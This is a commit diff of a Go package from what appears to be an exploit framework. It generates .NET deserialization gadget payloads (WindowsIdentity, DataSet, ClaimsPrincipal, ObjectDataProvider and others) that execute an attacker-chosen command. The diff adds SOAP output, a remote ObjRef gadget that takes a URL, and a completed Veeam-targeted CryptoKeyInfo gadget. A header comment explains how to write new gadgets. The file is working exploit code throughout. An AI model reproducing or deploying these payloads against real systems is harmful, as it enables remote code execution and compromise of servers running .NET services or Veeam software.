1
+ /*
2
+ This file contains all of the gadget creation functions for use in exploits. Calling one should be as simple as:
3
+ payload, ok := CreateWindowsIdentity("cmd", "/c calc", dotnet.BinaryFormatter)
4
+ if !ok{ return "", false }
5
+
6
+ The exceptions are the CreateObjectRef and CreateVeeamCryptoKeyInfo as those take (url string, formatter string) instead.
7
+
8
+ Any of the Create gadget funcs can be called with "" as their formatter which will return just the binary stream of the object, which is the same as binaryformatter.
9
+
10
+ Information for new gadget development:
11
+
12
+ These objects are basically just a series of 'records' that ultimately define a class and it's members.
13
+
14
+ The general format is something like
15
+
16
+ serializationHeaderRecord
17
+ + binLibString
18
+ CLASSWITHMEMBERSANDTYPES(ClassObjectID INT32 (usually incremented from 1) + ClassName + MemberCount, MemberNames + AdditionalInfo + []byte{member0Type, member1Type, memberNType, ...} + Library ID INT32 + Array of Membervalues) +
19
+ string(byte(RecordTypeEnumMap["MessageEnd"])) (just a 0xb)
20
+
21
+ Sometimes this format gets a bit more complicated because the member values array will contain CLASSWITHMEMBERSANDTYPES records as array items so it's a nested class.
22
+ Also where ArraySingleStringRecord and ArraySinglePrimitiveRecord are concerned, these get referenced in member values and then are appended after the class record like so:
23
+
24
+ payload := serializationHeaderRecordString +
25
+ binaryLibraryRecordString +
26
+ classWithMembersAndTypesString +
27
+ arraySingleStringRecordString +
28
+ string(byte(RecordTypeEnumMap["MessageEnd"]))
29
+
30
+ There should be enough information in the existing gadgets to infer from in order to make new gadgets.
31
+ */
1
32
package dotnet
2
33
3
34
import (
@@ -117,7 +148,12 @@ func CreateTextFormattingRunProperties(program string, args string, formatter st
117
148
case BinaryFormatter :
118
149
return payload , true
119
150
case SOAPFormatter :
120
- return FormatSOAP ([]Record {classWithMembersAndTypes })
151
+ xmlData , _ , ok := FormatSOAP ([]Record {classWithMembersAndTypes })
152
+ if ! ok {
153
+ return "" , false
154
+ }
155
+
156
+ return xmlData , true
121
157
default :
122
158
output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'" , formatter )
123
159
@@ -155,6 +191,7 @@ func CreateDataSet(program string, args string, formatter string) (string, bool)
155
191
"DataSet.Tables.Count" ,
156
192
"DataSet.Tables_0" ,
157
193
}
194
+
158
195
memberTypes := []string {
159
196
"Class" ,
160
197
"String" ,
@@ -244,8 +281,17 @@ func CreateDataSet(program string, args string, formatter string) (string, bool)
244
281
return FormatLOS (payload ), true
245
282
case BinaryFormatter :
246
283
return payload , true
284
+ case SOAPFormatterWithExceptions :
285
+ return FormatSOAPWithExceptions ([]Record {classWithMembersAndTypes , arraySinglePrimitiveRecord })
286
+ case SOAPFormatter :
287
+ xmlData , _ , ok := FormatSOAP ([]Record {classWithMembersAndTypes , arraySinglePrimitiveRecord })
288
+ if ! ok {
289
+ return "" , false
290
+ }
291
+
292
+ return xmlData , true
247
293
default :
248
- output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'" , formatter )
294
+ output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter', 'SOAPFormatterWithExceptions' " , formatter )
249
295
250
296
return "" , false
251
297
}
@@ -265,6 +311,7 @@ func CreateObjectDataProvider(program string, args string, formatter string) (st
265
311
},
266
312
}
267
313
314
+ // validating the output as JSON
268
315
jsonData , err := json .Marshal (gadget )
269
316
if err != nil {
270
317
output .PrintfFrameworkError ("Error serializing to JSON: %v" , err )
@@ -274,7 +321,7 @@ func CreateObjectDataProvider(program string, args string, formatter string) (st
274
321
payload := string (jsonData )
275
322
276
323
switch formatter {
277
- case "JSONFormatter" : // This is basically the same as binaryformatter, just returns a string
324
+ case "JSONFormatter" :
278
325
return payload , true
279
326
case "" :
280
327
return payload , true
@@ -601,7 +648,12 @@ func CreateWindowsIdentity(program string, args string, formatter string) (strin
601
648
case "" :
602
649
return payload , true
603
650
case SOAPFormatter :
604
- return FormatSOAP ([]Record {systemClassWithMembersAndTypesRecord })
651
+ xmlData , _ , ok := FormatSOAP ([]Record {systemClassWithMembersAndTypesRecord })
652
+ if ! ok {
653
+ return "" , false
654
+ }
655
+
656
+ return xmlData , true
605
657
default :
606
658
output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'" , formatter )
607
659
@@ -660,7 +712,12 @@ func CreateClaimsPrincipal(program string, args string, formatter string) (strin
660
712
case "" :
661
713
return payload , true
662
714
case SOAPFormatter :
663
- return FormatSOAP ([]Record {systemClassWithMembersAndTypesRecord })
715
+ xmlData , _ , ok := FormatSOAP ([]Record {systemClassWithMembersAndTypesRecord })
716
+ if ! ok {
717
+ return "" , false
718
+ }
719
+
720
+ return xmlData , true
664
721
default :
665
722
output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'" , formatter )
666
723
@@ -813,15 +870,14 @@ func CreateDataSetTypeSpoof(program string, args string, formatter string) (stri
813
870
}
814
871
}
815
872
816
- //nolint:revive
817
- func CreateVeeamCryptoKeyInfo (formatter string ) (string , bool ) {
818
- innerObjRef := "TODOPLACEHOLDER"
819
- if innerObjRef == "TODOPLACEHOLDER" {
820
- // needs CreateObjectRef gadget to be made
821
- output .PrintFrameworkError ("Not yet implemented, needs CreateObjectRef" )
822
-
873
+ func CreateVeeamCryptoKeyInfo (url string , formatter string ) (string , bool ) {
874
+ innerObjRef , ok := CreateObjectRef (url , "" )
875
+ if ! ok {
823
876
return "" , false
824
877
}
878
+ b64String := make ([]byte , base64 .StdEncoding .EncodedLen (len (innerObjRef )))
879
+ base64 .StdEncoding .Encode (b64String , []byte (innerObjRef ))
880
+ innerObjRefB64 := string (b64String )
825
881
826
882
memberTypes := []string {"SystemClass" , "Object" , "Primitive" , "String" , "String" , "Primitive" , "Primitive" , "Primitive" , "StringArray" }
827
883
@@ -869,9 +925,9 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
869
925
innerAdditionalInfo = append (innerAdditionalInfo , PrimitiveTypeEnum ["Byte" ])
870
926
innerAdditionalInfo = append (innerAdditionalInfo , PrimitiveTypeEnum ["Byte" ])
871
927
872
- innerMemberValues = append (innerMemberValues , PrimitiveInt32 (- 1356456226 )) // MAKE SURE THIS PRODUCES THE SAME BYTES de 1e 26 af INT32
873
- innerMemberValues = append (innerMemberValues , PrimitiveInt16 (- 16401 )) // MAKE SURE THIS PRODUCES THE SAME BYTES ef bf INT16
874
- innerMemberValues = append (innerMemberValues , PrimitiveInt16 (20306 )) // MAKE SURE THIS PRODUCES THE SAME BYTES 52 4f // WRONG INT16
928
+ innerMemberValues = append (innerMemberValues , PrimitiveInt32 (- 1356456226 ))
929
+ innerMemberValues = append (innerMemberValues , PrimitiveInt16 (- 16401 ))
930
+ innerMemberValues = append (innerMemberValues , PrimitiveInt16 (20306 ))
875
931
// 97 0f 7f fe 1c 1c 79 27
876
932
innerMemberValues = append (innerMemberValues , PrimitiveByte (0x97 ))
877
933
innerMemberValues = append (innerMemberValues , PrimitiveByte (0x0f ))
@@ -898,17 +954,6 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
898
954
MemberTypeInfo : innerMemberTypeInfo ,
899
955
}
900
956
901
- //ClassInfo: ClassInfo{
902
- //ObjectID: -3,
903
- //Name: "System.Data.SerializationFormat",
904
- //MemberNames: []string{"value__"},
905
- // },
906
- //MemberTypeInfo: innerMemberTypeInfo,
907
- //LibraryID: libraryID,
908
- //MemberValues: innerMemberValues,
909
- //BinaryLibrary: binaryLibrary,
910
- ////
911
-
912
957
var memberValues []interface {}
913
958
memberValues = append (memberValues , innerSystemClassWithMembersAndTypes ) // ID GUID
914
959
memberValues = append (memberValues , ObjectNullRecord {}) // KeySetID null
@@ -923,7 +968,7 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
923
968
memberValues = append (memberValues , MemberReferenceRecord {IDRef : 6 }) // CryptoAlg int 1
924
969
925
970
var arrayMembers []interface {}
926
- // arrayMembers = append(arrayMembers, BinaryObjectRecord{ObjectID: 7, Value: innerObjRef}) // UNCOMMENT when innerObjRef is complete
971
+ arrayMembers = append (arrayMembers , BinaryObjectRecord {ObjectID : 7 , Value : innerObjRefB64 })
927
972
arraySingleStringRecord := ArraySingleStringRecord {
928
973
ArrayInfo : ArrayInfo {
929
974
ObjectID : 6 ,
@@ -964,5 +1009,97 @@ func CreateVeeamCryptoKeyInfo(formatter string) (string, bool) {
964
1009
arraySingleStringRecordString +
965
1010
string (byte (RecordTypeEnumMap ["MessageEnd" ]))
966
1011
967
- return payload , true
1012
+ switch formatter {
1013
+ case BinaryFormatter :
1014
+ return payload , true
1015
+ case "" :
1016
+ return payload , true
1017
+ default :
1018
+ output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'" , formatter )
1019
+
1020
+ return "" , false
1021
+ }
1022
+ }
1023
+
1024
+ func CreateObjectRef (url string , formatter string ) (string , bool ) {
1025
+ secondClassName := "System.Runtime.Remoting.ObjRef"
1026
+ firstClassName := "System.Exception"
1027
+
1028
+ secondMemberNames := []string {"url" }
1029
+ firstMemberNames := []string {"ClassName" }
1030
+
1031
+ secondMemberTypes := []string {"String" }
1032
+ firstMemberTypes := []string {"SystemClass" }
1033
+
1034
+ var secondMemberValues []interface {}
1035
+ secondMemberValues = append (secondMemberValues , BinaryObjectRecord {ObjectID : 3 , Value : url })
1036
+
1037
+ var firstMemberValues []interface {}
1038
+ firstMemberValues = append (firstMemberValues , MemberReferenceRecord {IDRef : 2 })
1039
+
1040
+ var firstAdditionalInfo []interface {}
1041
+ firstAdditionalInfo = append (firstAdditionalInfo , "System.Runtime.Remoting.ObjRef" )
1042
+
1043
+ firstClassInfo := ClassInfo {
1044
+ ObjectID : 1 ,
1045
+ Name : firstClassName ,
1046
+ MemberCount : len (firstMemberNames ),
1047
+ MemberNames : firstMemberNames ,
1048
+ }
1049
+
1050
+ secondClassInfo := ClassInfo {
1051
+ ObjectID : 2 ,
1052
+ Name : secondClassName ,
1053
+ MemberCount : len (secondMemberNames ),
1054
+ MemberNames : secondMemberNames ,
1055
+ }
1056
+
1057
+ secondMemberTypeInfo , ok := getMemberTypeInfo (secondMemberTypes , secondMemberNames , nil )
1058
+ if ! ok {
1059
+ return "" , false
1060
+ }
1061
+
1062
+ firstMemberTypeInfo , ok := getMemberTypeInfo (firstMemberTypes , firstMemberNames , firstAdditionalInfo )
1063
+ if ! ok {
1064
+ return "" , false
1065
+ }
1066
+
1067
+ firstSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord {
1068
+ ClassInfo : firstClassInfo ,
1069
+ MemberValues : firstMemberValues ,
1070
+ MemberTypeInfo : firstMemberTypeInfo ,
1071
+ }
1072
+
1073
+ secondSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord {
1074
+ ClassInfo : secondClassInfo ,
1075
+ MemberValues : secondMemberValues ,
1076
+ MemberTypeInfo : secondMemberTypeInfo ,
1077
+ }
1078
+
1079
+ // finalize
1080
+ serializationHeaderRecord := SerializationHeaderRecord {RootID : 1 , HeaderID : - 1 }
1081
+ serializationHeaderRecordString , _ := serializationHeaderRecord .ToRecordBin ()
1082
+ firstSystemClassWithMembersAndTypesString , ok := firstSystemClassWithMembersAndTypesRecord .ToRecordBin ()
1083
+ if ! ok {
1084
+ return "" , false
1085
+ }
1086
+ secondSystemClassWithMembersAndTypesString , ok := secondSystemClassWithMembersAndTypesRecord .ToRecordBin ()
1087
+ if ! ok {
1088
+ return "" , false
1089
+ }
1090
+ payload := serializationHeaderRecordString +
1091
+ firstSystemClassWithMembersAndTypesString +
1092
+ secondSystemClassWithMembersAndTypesString +
1093
+ string (byte (RecordTypeEnumMap ["MessageEnd" ]))
1094
+
1095
+ switch formatter {
1096
+ case BinaryFormatter :
1097
+ return payload , true
1098
+ case "" :
1099
+ return payload , true
1100
+ default :
1101
+ output .PrintfFrameworkError ("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'" , formatter )
1102
+
1103
+ return "" , false
1104
+ }
968
1105
}
0 commit comments